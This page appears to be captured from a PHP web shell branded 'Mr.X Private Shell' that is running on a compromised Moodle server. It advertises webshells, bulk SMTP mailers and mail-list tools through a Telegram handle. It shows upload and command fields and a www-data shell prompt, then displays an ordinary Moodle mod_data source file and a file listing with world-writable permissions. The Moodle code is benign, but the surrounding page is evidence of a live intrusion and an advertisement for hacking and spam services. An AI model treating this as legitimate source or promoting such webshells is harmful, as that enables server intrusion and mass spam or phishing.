__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace mod_data\output;

use templatable;
use renderable;
use mod_data\manager;
use mod_data\preset;
use mod_data\template;
use moodle_page;
use moodle_url;

/**
 * Preset preview output class.
 *
 * @package    mod_data
 * @copyright  2022 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class preset_preview implements templatable, renderable {

    /** @var manager manager instance. */
    private $manager;

    /** @var preset the preset. */
    private $preset;

    /** @var string the template to preview. */
    private $templatename;

    /**
     * The class constructor.
     *
     * @param manager $manager the activity instance manager
     * @param preset $preset the preset
     * @param string $templatename the templatename
     */
    public function __construct(manager $manager, preset $preset, string $templatename) {
        $this->manager = $manager;
        $this->preset = $preset;
        $this->templatename = $templatename;
    }

    /**
     * Add the preset CSS and JS to the page.
     *
     * @param moodle_page $page the current page instance
     */
    public function prepare_page(moodle_page $page) {
        $instance = $this->manager->get_instance();
        $preset = $this->preset;
        // Add CSS and JS.
        $csscontent = $preset->get_template_content('csstemplate');
        if (!empty($csscontent)) {
            $url = new moodle_url('/mod/data/css.php', ['d' => $instance->id, 'preset' => $preset->get_fullname()]);
            $page->requires->css($url);
        }
        $jscontent = $preset->get_template_content('jstemplate');
        if (!empty($jscontent)) {
            $url = new moodle_url('/mod/data/js.php', ['d' => $instance->id, 'preset' => $preset->get_fullname()]);
            $page->requires->js($url);
        }
    }

    /**
     * Export the data for the mustache template.
     *
     * @param \renderer_base $output renderer to be used to render the action bar elements.
     * @return array
     */
    public function export_for_template(\renderer_base $output): array {
        $coursemodule = $this->manager->get_coursemodule();
        $preset = $this->preset;

        // Get fields for preview.
        $count = ($this->templatename == 'listtemplate') ? 2 : 1;
        $fields = $preset->get_fields(true);
        $entries = $preset->get_sample_entries($count);
        $templatecontent = $preset->get_template_content($this->templatename);
        $useurl = new moodle_url('/mod/data/field.php');

        // Generate preview content.
        $options = ['templatename' => $this->templatename];
        if ($this->templatename == 'listtemplate') {
            $options['showmore'] = true;
        }
        $parser = new template($this->manager, $templatecontent, $options, $fields);
        $content = $parser->parse_entries($entries);
        if ($this->templatename == 'listtemplate') {
            $listtemplateheader = $preset->get_template_content('listtemplateheader');
            $listtemplatefooter = $preset->get_template_content('listtemplatefooter');
            $content = $listtemplateheader . $content . $listtemplatefooter;
        }

        return [
            'cmid' => $coursemodule->id,
            'description' => $preset->description ?? '',
            'preview' => $content,
            'formactionurl' => $useurl->out(),
            'userid' => $preset->get_userid() ?? 0,
            'shortname' => $preset->shortname,
        ];
    }
}

Filemanager

Name Type Size Permission Actions
action_bar.php File 13.31 KB 0777
add_entries_action.php File 2.35 KB 0777
defaulttemplate.php File 3.32 KB 0777
empty_database_action_bar.php File 2.31 KB 0777
fields_action_bar.php File 2.56 KB 0777
fields_mappings_action_bar.php File 1.82 KB 0777
preset_preview.php File 4.11 KB 0777
presets.php File 8.54 KB 0777
presets_action_bar.php File 2.04 KB 0777
template_editor.php File 5.99 KB 0777
template_editor_tools.php File 7.3 KB 0777
templates_action_bar.php File 2.49 KB 0777
view_action_bar.php File 5.37 KB 0777
view_footer.php File 5.46 KB 0777
zero_state_action_bar.php File 2.96 KB 0777
Filemanager